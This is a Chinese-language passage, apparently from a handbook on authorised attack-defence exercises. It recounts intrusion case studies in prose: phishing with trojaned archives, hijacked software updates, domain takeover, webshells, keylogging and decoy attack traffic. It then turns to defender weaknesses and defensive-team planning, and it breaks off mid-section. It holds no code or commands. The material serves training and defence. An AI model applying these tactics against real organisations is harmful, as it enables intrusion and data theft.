利用供应链攻击,可以实现第三方软件系统的恶意更新,第三方服务后台的秘密操控,以及物理边界的防御突破(如,受控的供应商驻场人员设备被接入内网)等多种复杂的攻击目标。 七、 利用下属单位迂回攻击 在有红队防守的实战攻防演习中,有时总部的系统防守会较为严密,蓝队很难正面突破,很难直接撬开进入内网的大门。此时,尝试绕过正面防御,通过攻击防守相对薄弱的下属单位,再迂回攻入总部的目标系统,就是一种很“明智”的策略。 蓝队大量实战中发现:绝大部分企业机构,其下属单位之间的内部网络,下属单位与集团总部之间的内部网络,均未进行有效隔离。很多部委单位、大型央企均习惯于使用单独架设一条专用网络,来打通各地区之间的内网连接,但同时又普遍忽视了不通区域网络之间必要的隔离管控措施,缺乏足够有效的网络访问控制。 这就导致蓝队一旦突破了子公司或分公司的防线,便可以通过内网横向渗透,直接攻击到集团总部,或是漫游整个企业内网,进而攻击任意系统。 例如A子公司位于深圳,B子公司位于广州,而总部位于北京。当A子公司或B子公司被突破后,就可以毫无阻拦地进入到总部网络中来。事实上,A子公司与B子公司可能仅需要访问北京总部的部分业务系统;同时,A与B则可能完全不需要有任何业务上的往来。那么,从安全角度看,就应该严格限制A与B之间的网络访问。但实际情况常常是:一条专线内网通往全国各地,一处沦陷,处处沦陷。 八、 秘密渗透 不同于民间黑客或黑产团队,蓝队工作一般不会大规模使用漏洞扫描器,因为扫描器活动特征明显,很容易暴露自己。例如,目前主流的WAF、IPS等防护设备都有识别漏洞扫描器的能力,一旦发现后,可能第一时间触发报警或阻断IP。 因此,信息收集和情报刺探是蓝队工作的基础。在数据积累的基础上,针对性地根据特定系统、特定平台、特定应用、特定版本,去寻找与之对应的漏洞,编写可以绕过防护设备的EXP来实施攻击操作,可以达到隐蔽攻一击即中的目的。 如果目标系统的防御纵深不够,或使用安全设备的能力不足,当面对这种有针对性攻击时,往往就很难及时发现和阻止攻击行为。在攻防演习的实战中,常常使用蓝队获取到目标资料或数据后,被攻击单位尚未感知到入侵行为。 如果参与演习的安全人员本身的技术能力也比较薄弱,无法实现对攻击行为的发现、识别,无法给出有效的攻击阻断、漏洞溯源及系统修复策略,则在攻击发生的很长一段时间内,防守一方可能都不会对蓝队的隐蔽攻击采取有效的应对措施。 九、 多点潜伏 蓝队专家在工作中,通常不会仅仅站在一个据点上去去开展渗透工作,而是会采取不同的Webshell,使用不同的后门程序,利用不同的协议来建立不同特征的据点。 事实上,大部分应急响应过程并没有溯源攻击源头,也未必能分析完整攻击路径。在防护设备告警时,很多防守方队员会仅仅只处理告警设备中对应告警IP的服务器,而忽略了对攻击链的梳理,从而导致尽管处理了告警,但仍未能将蓝队排除在内网之外。而蓝队则可以通过多个潜伏据点,实现快速“死灰复燃”。 如果某些防守方成员专业程度不高,安全意识不足,还有可能在蓝队的“伏击”之下暴露更多敏感信息。例如,在针对Windows服务器应急运维的过程中,有防守方队员会直接将自己的磁盘通过远程桌面共享挂载到被告警的服务器上。这样反而可以给秘密潜伏的蓝队进一步攻击防守方成员的机会。 第五章 蓝队三十六计——经典攻击实例 古人带兵打仗讲三十六计。而蓝队实战亦是一个攻防对抗的过程,同样是人与人之间的较量,需要出谋划策、斗智斗勇。在这个过程中,有着“勾心斗角”、“尔虞我诈”,也有着勇往直前、正面硬刚。为此,我们精选了几个小案例,以三十六计为题向大家更加具体的展现蓝队的常见攻击手法。 一、 正面突破——跨网段控制工控设备 某企业为国内某大型制造业企业,内部生产网大量使用双网卡技术实现网络隔离。在本次实战攻防演习活动中,攻击队的目标是:获取该企业工控设备控制权限。 经过前期的情报收集与分析,攻击队制定了首先突破办公网,再通过办公网渗透进入工控网的战略部署。 1) 突破办公网 攻击队首先选择该企业的门户网站作为突破口,并利用一个0Day漏洞获取了该门户网站应用与操作系统的管理员权限,从而获取到该企业办公内网的接入权限。 在横向移动过程中,攻击队又探测到该企业内网中的多个服务系统和多台服务器。使用已经获得门户网站管理员账号和密码进行撞库攻击,成功登录并控制了该企业内网中的绝大多数服务器。这表明,该企业内网中的大量系统服务器都使用了相同的管理账号和密码。 至此,攻击队突破办公网的第一阶段目标顺利完成,并取得了巨大的战果。接下来的目标就是找到工控网络的突破口。 2) 定位运维人员 对已经被攻破的服务器系统进行全面排查,攻击队发现,有多台服务器中存储了用Excel明文记录的密码本,密码本中包含所有系统用户的账户和密码。同时,服务器上还明文存储了大量机构内部敏感文件,包括企业IT部门的组织架构等信息。结合组织架构及密码本信息,攻击队成功定位到了一位工控系统的运维人员,并对其联网行为开展了长时间的监控。 3) 突破工控网 经过一段时间的监控,攻击队发现该运维人员自己的办公终端上有嵌套使用远程桌面的情况,即:首先通过远程桌面登录一台主机A;继而,操作人又用主机A继续通过远程桌面,登录另一网段的主机B。通过于密码本进行对比时,发现主机A和B都是该企业工控系统中的主机设备,但各自处于网络拓扑结构中不同的层次。其中,B主机之下连有关键的工控设备。 进一步分析发现,主机A使用了双网卡,两个网卡分别对应不同网段,但是两个网卡之间没有采取任何隔离措施。同时,主机B也是一台双网卡主机,其上部署了隔离卡软件进行双网卡切换。 最终,攻击队发现了B主机上隔离卡软件的一个重大设计缺陷,并利用该缺陷成功绕过双网卡的隔离机制,成功拿到了工控设备的操作权限,可以随意停止、启动、复位相应的工控设备,某些操作可对设备的生产过程造成直接严重的伤害。 同时,攻击队的另一组人马继续摸排受控主机的用途和存储文件。功夫不负有心人,攻击队最终又发现一台“生产住操作室”的主机设备,其上存储有生产专用的文件,内容包括一些涉密文件,一旦被窃取,后果难以想象。 二、 百折不饶——社工钓鱼突破边界 某企业为某大型特种设备制造商,同时具有比较成熟的互联网服务经验。在本次实战攻防演习活动中,攻击队的目标是:获取该企业一个核心业务管控平台的控制权限。 攻击队在前期的情报收集工作中发现,该企业内部的网络防御体系比较健全,正面突破比较困难。经过头脑风暴,大家达成共识——要通过社工方法进行迂回入侵。 1) 寻找社工突破口 攻击队首先想到的社工方法也是最常见的邮件钓鱼。但考虑到该企业相对完善的网络防御体系,猜测其内网中很可能已经部署了邮件检测类的防御手段,简单的使用邮件钓鱼,很可能会被发现。 进一步的情报搜集发现:该企业使用了微信客服平台,而且微信客服平台可以进行实时聊天并发送文件。考虑到客服人员一般没有很强的技术功底,安全意识往往相对薄弱,攻击队最终商定:将社工对象确定为微信客服人员,并以投诉为话题尝试对客服进行钓鱼。 2) 冒充客服反馈问题 于是,一名攻击队队员开始冒充客户,在该企业的微信客服平台上进行留言投诉,并要求客服人员接收名为“证据视频录像”的压缩文件包。该压缩包实际上是攻击队精心伪装的,带有木马程序的文件包。让攻击队意想不到的是,该客户人员以安全为由,果断地拒绝接收不明来源的文件。显然,攻击队可能低估了该企业客服人员的安全意识素养。 3) 社工升级攻破心理防线 不过,攻击队并没有放弃,而是进一步采用多人协作的方式,对当班客服人员进行了轮番轰炸,要求客服人员报上工号,并威胁将要对其客服质量进行投诉。经过1个小时的拉锯战,客服人员的心理防线最终被攻破,最终接受了带毒压缩包,并打开了木马文件。该客服人员的终端设备最终被控制。 以受控终端为据点,攻击队成功打入该企业的内网,后又利用一个未能及时修复的系统漏洞获取到关键设备控制权限,再结合内网的信息收集,最终成功获取到管控平台的权限。 三、 迂回曲折——供应链定点攻击 某超大型企业为一个国家级关键信息基础设施运营管理方,一旦发生安全事故,将直接危害国家安全及人民生命财产安全。在本次实战攻防演习活动中,攻击队的目标是:获取该企业内部系统的安全管控权限。 根据攻击队前期的情报收集摸排,该企业的办公网络及核心工业控制系统得到了非常严密的安全防护,对互联网暴露的业务系统较少,而且业务系统做了安全加固及多层防护,同时也拥有较强的日常网络安全运维保障能力。想要正面突破,非常困难。 前期情报分析还显示,该企业虽然规模大、人员多,但并不具备独立的IT系统研发和运维能力,其核心IT系统的建设和运维,实际上大多来自外部采购或外包服务。于是,攻击队根据这一特点,制定了从供应链入手的整体攻击策略。 1) 寻找目标供应商 攻击队首先通过检索“喜报”、“中标”、“签约”、“合作”、“验收”等关键字,在全网范围内,对该企业的供应商及商业合作伙伴进行地毯式摸排,最终选定将该企业的专用即时通信软件系统开发商A公司作为主要的攻击目标。 情报显示,A公司为该企业开发的专用即时通信系统刚刚完成开发,推测该项目目前尚处于测试阶段,A公司应该有交付和运维人员长期驻场为该企业提供运维全服务。如果能拿下驻场人员的终端设备,则可以成功进入该公司内网系统。 2) 盗取管理员账号 分析发现,A公司开发的即时通信软件也在其公司内部进行使用。而该软件的网络服务管理后台,存在一个已知的系统安全漏洞。攻击队利用该漏洞获取了服务器的控制权,并通过访问服务器的数据库系统,获取了后台管理员的账号和密码。 3) 定位驻场人员 攻击队使用管理员的账号和密码登录服务器后,发现该系统的聊天记录在服务器上是准明文(低强度加密或转换)存储的,而且管理员可以不受限制的翻阅其公司内部的历史聊天记录。 攻击队对聊天记录进行关键字检索后发现:A公司有三名员工的聊天记录中,多次出现目标企业名、OA、运维等字眼;并且这三名员工的登录IP经常落在目标企业的专属网段上。因此,攻击队判断,这三名员工就是A公司在目标企业的驻场人员。 4) 定向恶意升级包 攻击队最初的设想是,通过被控的即时通信软件服务器,向三名驻场人员定向发送恶意升级包。但这种攻击方法需要修改服务器系统配置,稍有不慎,就可能扩大攻击面,给演习工作造成不必要的损失,同时也有可能暴露自身攻击活动。 为实现对三名驻场人员更加隐蔽的定向攻击,攻击队对A公司的即使通信软件进行了更加深入的安全分析,发现其客户端软件对服务器的身份安全验证、对升级包的合法性校验机制都存在设计缺陷。 于是,攻击队利用上述缺陷,通过中间人攻击,对服务器推送给三名驻场人员的客户端软件升级包进行了劫持和篡改。最终三名驻场人员都在完全没有任何感知情况下,在各自的PC机上安装了攻击队伪装设计的恶意升级包。 5) 横向移动 攻击队以驻场人员的运维机作为跳板机进入内网后,开始进行横向移动。 攻击队首先找到了该企业的一台域控服务器,并利用一个近期最新爆出的域控系统安全漏洞,获取了该主域的域账号密码哈希信息。但防守对很快地发现了此次攻击,并将该域控服务器进行了隔离。 不过,攻击队并没有放弃,又在内网中找到了一套终端安全管理系统。攻击队经过现场挖掘,找到了该系统的一个新的0Day漏洞,并利用该漏洞成功地获取了管理员权限。在成功登录系统后台后,攻击方可实现任意命令的下发和执行,能够控制该安全管理系统所辖范围内的所有终端设备。 四、 浑水摸鱼——社工钓鱼突破系统 社会工程学(简称社工)在蓝队工作中占据着半壁江山,而钓鱼攻击则是社工中的最常使用的套路。钓鱼攻击通常具备一定的隐蔽性和欺骗性,不具备网络技术能力的人通常无法分辨内容的真伪;而针对特定目标及群体精心构造的鱼叉钓鱼攻击则可令具备一定网络技术能力的人防不胜防,可谓之渗透利器。 小D团队便接到这样一个工作目标:某企业的财务系统。通过前期踩点和信息收集发现,目标企业外网开放系统非常少,也没啥可利用的漏洞,很难通过打点的方式进入到内网。 不过还是让他们通过网上搜索以及一些开源社工库中收集到一批目标企业的工作人员邮箱列表。掌握这批邮箱列表后,小D便根据已泄露的密码规则、123456、888888等常见弱口令、用户名密码相同,或用户名123这种弱口令等生成了一份弱口令字典。利用hydra等工具进行爆破,成功破解一名员工的邮箱密码。 小D对该名员工来往邮件分析发现,邮箱使用者为IT技术部员工。查看该邮箱发件箱,看到他历史发过的一封邮件如下: 标题:关于员工关掉445端口以及3389端口的操作过程 附件:操作流程.zip 小D决定浑水摸鱼,在此邮件的基础上进行改造伪装,构造钓鱼邮件如下。其中,zip文件为带有木马的压缩文件。 标题:关于员工关掉445端口以及3389端口的操作补充 附件:操作流程补充.zip 为提高攻击成功率,通过对目标企业员工的分析,小D决定对财务部门以及几个跟财务相关的部门进行邮件群发。 小D发送了一批邮件,有好几个企业员工都被骗上线,打开了附件。控制了更多的主机,继而便控制了更多的邮箱。在钓鱼邮件的制作过程中,小D灵活根据目标的角色和特点来构造。譬如在查看邮件过程中,发现如下邮件: 尊敬的各位领导和同事,发现钓鱼邮件事件,内部定义为19626事件,请大家注意邮件附件后缀后.exe、.bat等… … 小D同样采用浑水摸鱼的策略,利用以上邮件为母本,以假乱真构造以下邮件继续钓鱼: 尊敬的各位领导和同事,近期发现大量钓鱼邮件,以下为检测程序… … 附件:检测程序.zip 通过不断地获取更多的邮箱权限、系统权限,根据目标角色针对性设计钓鱼邮件,小D最终成功拿下目标! 五、 声东击西——混淆流量躲避侦察 在有红队(防守方)参与的实战攻防工作中,尤其是有红队排名或通报机制的工作中,蓝队与红队通常会产生对抗。IP封堵与绕过、WAF拦截与绕过、Webshell查杀与免杀,红蓝之间通常会开展一场没有硝烟的战争。 小Y和所带领的团队就遭遇了这么一次:刚刚创建的跳板几个小时内就被阻断了;刚刚上传的Webshell过不了几个小时就被查杀了。蓝队打到哪儿,红队就根据流量威胁审计跟到哪,不厌其烦,团队始终在目标的外围打转。 没有一个可以维持的据点,就没办法进一步开展内网突破。小Y和团队开展了一次头脑风暴,归纳分析了流量威胁审计的天然弱点,以及红队有可能出现的人员数量及技术能力不足等情况,制定了一套声东击西的攻击方案。 具体方法就是:同时寻找多个具有直接获取权限漏洞的系统,正面大流量进攻某个系统,吸引火力,侧面尽量减少流量直接拿权限并快速突破内网。 为此,小Y团队先通过信息搜集发现目标企业的某个外网WEB应用,并通过代码审计开展漏洞挖掘工作,成功发现多个严重的漏洞。另外发现该企业的一个营销网站,通过开展黑盒测试,发现存在文件上传漏洞。 小Y将团队兵分两路,除自己外的所有其他成员主攻营销网站,准备了许多分属不同A段的跳板,不在乎是否被发现,也不在乎是否封堵,甚至连漏洞扫描器都上了,力求对流量威胁分析系统开启一场规模浩大的“分布式拒绝服务”,让红队的防守人员忙于分析和应对;而自己则悄无声息地用不同的IP和浏览器指纹特征对WEB应用网站开展渗透,力求用最少的流量拿下服务器,让威胁数据淹没在营销网站的攻击洪水当中。 通过这样的攻击方案,小Y团队同时拿下营销网站和WEB应用网站,但在营销网站的动作更多,包括关闭杀软、提权、安置后门程序、批量进行内网扫描等众多敏感操作;同时在WEB应用网站利用营销网站上获得的内网信息,直接建立据点,开展内网渗透操作。 很快营销网站就被蓝方下线了,红队开始根据流量开展分析、溯源和加固工作;而此时小Y已经在WEB应用网站上搭建了frp socks代理,内网横向渗透拿下多台服务器,使用了多种协议木马,备份多个通道稳固权限,以防被防守方发现或直接踢出局。接续的几天服务器权限再未丢失,继续后渗透拿下域管理员、域控制器,最终拿下目标权限,工控设备权限等核心目标系统。 在渗透收尾的后期,小Y团队通过目标企业安全信息中心的员工邮件看到,红队此时依旧在对营销网站产生的数据报警做分析和上报防守战果等工作,然而此时该企业的目标系统其实早已经被蓝队拿下了。 六、 李代桃僵——旁路攻击搞定目标 其实在蓝队工作过程当中,也碰到过很多奇葩的事情:譬如有红队将整个网站的首页替换成了一张截图;有的将所有数据传输接口全部关闭了,然后采用excel表格的方式实现数据导入;有的将内网目标系统的IP做了限定,仅允许某个管理员IP访问等。 小H带领的蓝队就遇到类似的一次:目标企业把外网系统能关的都关了,甚至连邮件系统都做了策略,基本上没有办法实现打点和进入内网。 为此,小H团队通过充分信息收集后,决定采取“李代桃僵”的策略:既然母公司不让搞,那么就去搞子公司。然而工作过程中发现,子公司也做好了防护,而且基本上也关个遍。一不做,二不休,子公司不让搞,那么就搞子公司的子公司,搞它的孙公司。 于是,小H团队从孙公司下手,利用sql注入+命令执行漏洞成功进入(孙公司A) DMZ区。继续后渗透、内网横向移动控制了孙公司域控、DMZ服务器。在(孙公司A)稳固权限后,尝试搜集最终目标内网信息、子公司信息,未发现目标系统信息。但发现(孙公司A)可以连通(子公司B)。 小H决定利用(孙公司A)内网对(子公司B)展开攻击。利用tomcat弱口令+上传漏洞进入(子公司B)内网域,利用该服务器导出的密码在内网中横向渗透,继而拿下(子公司B)多台域服务器,并在杀毒服务器获取到域管理员账号密码,最终获取(子公司B)域控制器权限。 在(子公司B)内做信息收集发现:(目标系统x)托管在(子公司C),(子公司C)单独负责运营维护,而(子公司B)内有7名员工与(目标系统x)存在业务往来,7名员工大部分时间在(子公司C)办公,但办公电脑资产属于(子公司B),加入(子公司B)的域,且办公电脑经常带回(子公司B)。 根据收集到的情报信息,小H团队以(子公司B)内的7名员工作为入口点,在其接入(子公司B)内网时,利用域权限在其电脑种植木马后门。待其接入(子公司C)内网时,继续通过员工计算机实施内网渗透,并获取(子公司C)域控制权限。根据日志分析,锁定了(目标系统x)管理员电脑,继而获取(目标系统x)管理员登录账号,最终获取(目标系统x)控制权限。 七、 顺手牵羊——巧妙种马实施控制 蓝队永远不会像渗透测试那样,根据一个工作流程或者漏洞测试手册,按照规范去做就能完成任务。蓝队的工作永远是具有随机性、挑战性、对抗性的。在工作过程中,总会有各种出其不意的情况出现,只有能够随机应变,充分利用出现的各种机遇,才能最终突破目标完成任务,小P这次做的目标就是如此。 小P团队通过挖掘目标企业OA系统的0Day漏洞,继而获得了Webshell权限。然而脚跟还没站稳,红队的管理员便发现了OA系统存在异常,对OA系统应用及数据库进行了服务器迁移,同时修复了漏洞。 本来是个很悲伤的事情,然而小P测试发现:红队虽然对OA系统进行了迁移并修复了漏洞,但是居然没有删除全部Webshell后门脚本。部分后门脚本仍然混杂在OA程序中,并被重新部署在新的服务器。攻击队依然可以连接之前植入的Webshell,顺利提权,拿到了服务器权限。 拿到服务器权限后,小P团队发现红队的管理员居然连接到OA服务器进行管理操作,并将终端PC主机的磁盘全部挂载到OA服务器中。“既来之,则安之”,小P发现这是一个顺手牵羊的好机会。 小P团队小心翼翼地对管理员身份及远程终端磁盘文件进行确认,并向该管理员的终端磁盘写入了自启动后门程序。经过了一天的等待,红队管理员果然重启了终端主机,后门程序上线。在获取到管理员的终端权限后,小P很快发现,该管理员为单位运维人员,主要负责内部网络部署、服务器运维管理等工作。该管理员使用MyBase工具对重要服务器信息进行加密存储,攻击队通过键盘记录器,获取了MyBase主密钥,继而对MyBase数据文件进行了解密,最终获取了包括VPN、堡垒机、虚拟化管理平台等关键系统的账号及口令。 最终,小P团队利用获取到的账号口令登录到虚拟化平台中,定位到演习目标系统的虚拟主机,并顺利获取了管理员权限。至此,工作正式完成! 八、 暗渡陈仓——迂回渗透取得突破 在有明确重点目标的实战攻防演习中,通常红队都会严防死守、严阵以待,时时刻刻盯着从外网进来的所有流量,不管你攻还是不攻,他们始终坚守在那里。发现有可疑IP立即成段地封堵,一点机会都不留。此时,从正面硬刚显然不划算,蓝队一般会采取暗度陈仓的方式,绕过红队的防守线,从其他没有防守的地方去开展迂回攻击,小M这回遇到的就是这样一个硬骨头。 小M团队在确定攻击目标后,对目标企业的域名、ip段、端口、业务等信息进行收集,并对可能存在漏洞目标进行尝试性攻击。结果发现大多数目标要么是都已关闭,要么是使用高强度的防护设备。在没有0day且时间有限情况下,小M决定放弃正面突破,采取暗度陈仓策略。 通过天眼查网站,小M了解到整个公司的子公司及附属业务分布情况,目标业务覆盖了香港、台湾、韩国、法国等地,其中香港包涵业务相对较多,极大可能有互相传送数据及办公协同的内网,故决定选择从香港作为切入点。 经过对香港业务进行一系列的踩点刺探,小M团队在目标企业的香港酒店业务网站找到一个SA权限的注入点,成功登录后台并利用任意文件上传成功getshell。通过数据库SA权限获取数据库服务器system权限,发现数据库服务器在域内且域管在登录状态。因服务器装有赛门铁克,因此采取添加证书的方式,成功绕过杀软并抓到域管密码,同时导出了域hash及域结构。 在导出的域结构中发现了国内域的机器,于是小M团队开始尝试从香港域向目标所在的国内域开展横向渗透。在国内域的IP段内找到一台服务器并getshell,提权后抓取此服务器密码。利用抓取到的密码尝试登录其他服务器,成功登录到一台杀毒服务器,并在杀毒服务器上成功抓到国内域的域管密码。使用域管账号成功控制堡垒机、运维管理、vpn等多个重要系统。 通过大量的信息收集,小M团队最终获得了渗透目标的IP地址,利用前期收集到的账号密码,成功登录目标系统,并利用任意文件上传漏洞拿到服务器权限。 至此,整个渗透工作结束。 第六章 蓝队眼中的防守弱点 奇安信通过对政府、央企、银行、证券、民生、运营商、互联网等行业的蓝队实战工作,发现各行业安全防护具备如下特点。 一、 资产混乱、隔离策略不严格 除了大型银行之外,很多行业对自身资产情况比较混乱,没有严格的访问控制(ACL)策略,且办公网和互联网之间大部分相通,可以直接使远程控制程序上线。 除了大型银行与互联网行业外,其他很多行业在DMZ区和办公网之间不做或很少做隔离,网络区域划分也不严格,给了蓝队很多可乘之机。 此外,几乎所有行业的下级单位和上级单位的业务网都可以互通。而除了大型银行之外,其他很多行业的办公网也大部分完全相通,缺少必要的分区隔离。所以,蓝队往往可以轻易地实现实施从子公司入侵母公司,从一个部门入侵其他部门的策略。 二、 通用中间件未修复漏洞较多 通过中间件来看,Weblogic、Websphere、Tomcat、Apache、Nginx、IIS都有使用。Weblogic应用比较广泛,因存在反序列化漏洞,所以常常会被作为打点和内网渗透的突破点。所有行业基本上都有对外开放的邮件系统,可以针对邮件系统漏洞,譬如跨站漏洞、XXE漏洞等来针对性开展攻击,也可以通过钓鱼邮件和鱼叉邮件攻击来开展社工工作,均是比较好的突破点。 三、 边界设备成为进入内网的缺口 从边界设备来看,大部分行业都会搭建VPN设备,可以利用VPN设备的一些SQL注入、加账号、远程命令执行等漏洞开展攻击,亦可以采取钓鱼、爆破、弱口令等方式来取得账号权限,最终绕过外网打点环节,直接接入内网实施横向渗透。 四、 内网管理设备成扩大战果突破点 从内网系统和防护设备来看,大部分行业都有堡垒机、自动化运维、虚拟化、邮件系统和域环境,虽然这些是安全防护的集中管理设备,但往往由于缺乏定期的维护升级,反而都可以作为开展权限扩大的突破点。 五、 安全设备自身安全成为新的风险点 “锁”出问题了给防守工作带来极大挑战。每年攻防演习都会爆出某某安全设备自身存在某某漏洞利用、被控制,反映出安全设备厂商自身安全开发和检测能力没有做到位,而作为用户又缺乏必要的安全检测流程及工作的开展,给蓝队人员留下了“后门”,最终形成新的风险点。 第一章 什么是红队 红队,在本书中是指网络实战攻防演习中的防守一方。 红队一般是以参演单位现有的网络安全防护体系为基础,在实战攻防演习期间组建的防守队伍。红队的主要工作包括演习前安全检查、整改与加固,演习期间进行网络安全监测、预警、分析、验证、处置,后期复盘总结现有防护工作中的不足之处,为后续常态化的网络安全防护措施提供优化依据等。 实战攻防演习时,红队通常会在日常安全运维工作的基础上,以实战思维进一步加强安全防护措施,包括提升管理组织规格、扩大威胁监控范围、完善监测与防护手段、增加安全分析频率、提高应急响应速度、增强溯源反制能力、建立情报收集利用机制等,提升整体防守能力。 需要特别说明的是:红队并不仅仅由实战演习中目标系统运营单位一家独立承担,而是由目标系统运营单位、攻防专家、安全厂商、软件开发商、网络运维队伍、云提供商等多方组成的防守队伍。组成红队的各个团队在演习中的角色与分工情况如下。 目标系统运营单位:负责红队整体的指挥、组织和协调。 安全运营团队:负责整体防护和攻击监控工作。 攻防专家:负责对安全监控中发现的可疑攻击进行分析研判,指导安全运营团队、软件开发商等相关部门进行漏洞整改等一系列工作。 安全厂商:负责对自身产品的可用性、可靠性和防护监控策略是否合理进行调整。 软件开发商:负责对自身系统安全加固、监控和配合攻防专家对发现的安全问题进行整改。 网络运维队伍:负责配合安全专家对网络架构安全、出口整体优化、网络监控、溯源等工作。 云提供商(如有):负责对自身云系统安全加固,以及对云上系统的安全性进行监控,同时协助攻防专家对发现的问题进行整改。 其他:某些情况下还会有其他组成人员,需要根据实际情况具体分配工作。 特别强调,作为红队,了解对手(蓝队)的情况非常重要,正所谓知彼才能知己,从攻击者角度出发,了解攻击者的思路与打法,了解攻击者思维,并结合本单位实际网络环境、运营管理情况,制定相应的技术防御和响应机制,才能在防守过程中争取到更多的主动权。 第二章 红队演变趋势 2016年和2017年,由于监管单位的推动,部分单位开始逐步参与监管单位组织的实战攻防演习,这个阶段各单位主要是作为防守方参加演习。到了2018年和2019年,实战攻防演习不论是从单场演习的参演单位数量、攻击队伍数量,还是攻守双方的技术能力等方面都迅速增强。实战攻防演习已经成为公认的检验各单位网络安全建设水平和安全防护能力的重要手段,各单位也从以往单纯的参与监管单位组织的演习,逐渐演变成自行组织内部演习或联合组织行业演习。 进入2020年,随着实战攻防演习中真刀实枪的不断对抗和磨砺,攻守双方在相互较量中都取得了快速发展和进步,迫于攻击队技战法迅速发展带来的压力,防守方也发生了很大的变化。 1) 防守重心扩大 2020年之前的实战攻防演习,主要是以攻陷靶标系统为目标,达到发现防守队安全建设和防守短板,提升各单位安全意识的目的。攻击队的主要得分是拿下靶标系统和路径中的关键集权系统、服务器等权限,非靶标系统得分很少。因此,防守队的防守重心往往会聚焦到靶标系统及相关路径资产上。 对于大部分参加过实战攻防演习的单位来说,对于自身的安全问题和短板已经有了充分认识,也都开展了安全建设整改工作。对于这些单位,急需的是通过实战攻防演习检验更多重要系统的安全性,发现更全面的安全风险。因此,2020年开始,不论是监管单位还是单位自身,在组织攻防演习时,都会逐渐降低演习中靶标系统的权重,鼓励攻击更多的单位、系统,发现更多的问题和风险。同样,防守队的防守重心也就从靶标系统为主,扩大到所有重要业务系统、所有重要设备和资产、所有的相关上下级单位。 2) 持续加强监测防护手段 随着近几年攻防技术的快速发展,实战攻防演习中各种攻击手段层出不穷、花样百出,各单位在演习中切实感受到了攻击队带来的严重威胁以及防守的巨大压力,防守队的监测和防护体系面临巨大挑战。防守队对于在攻防对抗中确实能够发挥重大作用的安全产品趋之若鹜,投入大量资金来采购和部署。 2018-2019年,除了传统产品外,全流量威胁监测类产品在攻防对抗中证明了自己,获得了各单位的青睐,到了2020年,主机威胁检测、蜜罐以及威胁情报等产品服务迅速成熟并在演习中证明了对主流攻击的监测和防护能力,防守队开始大规模的部署使用。除此之外,钓鱼攻击、供应链攻击等还没有有效的防护产品,不过随着在实战中快速打磨,相应产品也会迅速成熟和广泛使用。 3) 被动防守到正面对抗 要说变化,2020年防守队最大的变化应该是从被动挨打迅速转变为正面对抗、择机反制。之前,演习中的大部分防守队发现攻击后基本就是封锁IP、下线系统、修复漏洞,之后接着等待下一轮攻击。敌在暗、我在明,只能被动挨打。2020年开始,大量的防守队加强了溯源和反制能力,跟攻击队展开了正面对抗,也取得了很多战果。 要具备正面对抗能力,需要重点加强以下几个方面。 快速响应。实战中讲究兵贵神速,在发现攻击时,只有最快速地确认攻击方式、定位受害主机、采取处置措施,才能够有效阻止攻击,并为下一步的溯源和反制争取时间。 准确溯源。俗话说知己知彼百战百胜,要想和攻击队正面对抗,首先要找到攻击队的位置,并想办法获取攻击队的足够信息,才能有针对性的制定反制策略开展反击。 精准反制。反制其实就是防守队发起的攻击。防守队在准确溯源的基础上,需要攻击经验丰富的人员才能够有效精确的实施反制。当然,也有些单位会利用蜜罐等产品埋好陷阱,等着攻击队跳进来之后,利用陷阱中的木马等快速攻陷攻击队系统。 第三章 红队四步走——防守的四个阶段 在实战环境下的防护工作,无论是面对常态化的一般网络攻击,还是面对有组织、有规模的高级攻击,对于防护单位而言,都是对其网络安全防御体系的直接挑战。在实战环境中,红队需要按照备战、临战、实战和战后三个阶段来开展安全防护工作。 一、 备战阶段——不打无准备之仗在实战攻防工作开始之前,首先应当充分地了解自身安全防护状况与存在的不足,从管理组织架构、技术防护措施、安全运维处置等各方面能进行安全评估,确定自身的安全防护能力和工作协作默契程度,为后续工作提供能力支撑。这就是备战阶段的主要工作。 在实战攻防环境中,我们往往会面临技术、管理和运营等多方面限制。技术方面:基础能力薄弱、安全策略不当和安全措施不完善、产品部署位置不当、防护产品自身安全有问题、监控手段不熟悉、监控手段单一等问题普遍存在;管理方面:制度缺失,职责不明,应急响应机制不完善等问题也很常见;运营方面:资产梳理不清晰、业务架构不了解、漏洞整改不彻底、安全监测分析与处置能力不足等问题随处可见。这些不足往往会导致整体防护能力存在短板,对安全事件的监测、预警、分析和处置效率低下。 针对上述情况,红队在演习之前,需要从以下几个方面进行准备与改进。 1) 技术方面 为了及时发现安全隐患和薄弱环节,需要有针对性地开展自查工作,并进行安全整改加固,内容包括系统资产梳理、应用组件梳理、交互协议梳理、安全基线检查、网络安全策略检查、Web安全检测、关键网络安全风险检查、安全措施梳理和完善、公开情报收集、应急预案完善与演练等。 为了检验监控措施的有效性,还需对安全产品自身的安全性、部署位置、覆盖面进行评估;为了更快的发现问题,尽量部署全流量威胁监测、网络分析系统、蜜罐、主机监测等安全防护设备,提高监控工作的有效性、时效性、准确性;监测人员还需对安全产品熟练掌握、优化安全产品规则。 2) 管理方面 一是建立合理的安全组织架构,明确工作职责,建立具体的工作小组,同时结合工作小组的责任和内容,有针对性地制定工作计划、技术方案、相关方协同机制及工作内容,责任到人、明确到位,按照工作实施计划进行进度和质量把控,确保管理工作落实到位,技术工作有效执行。 二是建立有效的工作沟通机制,通过安全可信的即时通讯工具建立实战工作指挥群,及时发布工作通知,共享信息数据,了解工作情况,实现快速、有效的工作沟通和信息传递。 3) 运营方面 成立防护工作组并明确工作职责,责任到人,开展并落实技术检查、整改和安全监测、预警、分析、验证和处置等运营工作,加强安全技术防护能力。完善安全监测、预警和分析措施,增强监测手段多元化,建立完善的安全事件应急处置机构和可落地的流程机制,提高事件的处置效率。 同时,所有的防护工作包括预警、分析、验证、处置和后续的整改加固都必须以监测发现安全威胁、漏洞隐患为前提才能开展。其中,全流量安全威胁监测分析系统是防护工作的重要关键节点,并以此为核心,有效地开展相关防护工作。 二、 临战阶段——战前动员鼓舞士气经历了备战阶段的查缺补漏、城防加固等工作,安全防护能力在技术方面、管理方面和运营方面上都有了较大的提升。为了能更多的协同配合,高效的应对实战阶段的攻击,减少分析处置事件的时间,提高防守的效果,还需要做好临战阶段的动员工作。 做好临战阶段的工作建议从三个方面开展。 1) 召开战前动员会 战前动员会主要进行三部分的工作:一是实战演习开始前,通过召开现场战前动员会的形式,进行战前动员,统一思想,统一战术、提高斗志,达成共识。二是强调防护工作中注意的事项,攻击手段多种多样,为防止防守人员被攻击利用,要严格遵守记录红线、做到令行禁止。三是提高大家的攻防意识,对攻击过程进行剖析,对常见的攻击手段部署针对性的防守要点,做到有的放矢。 2) 贯彻工作流程 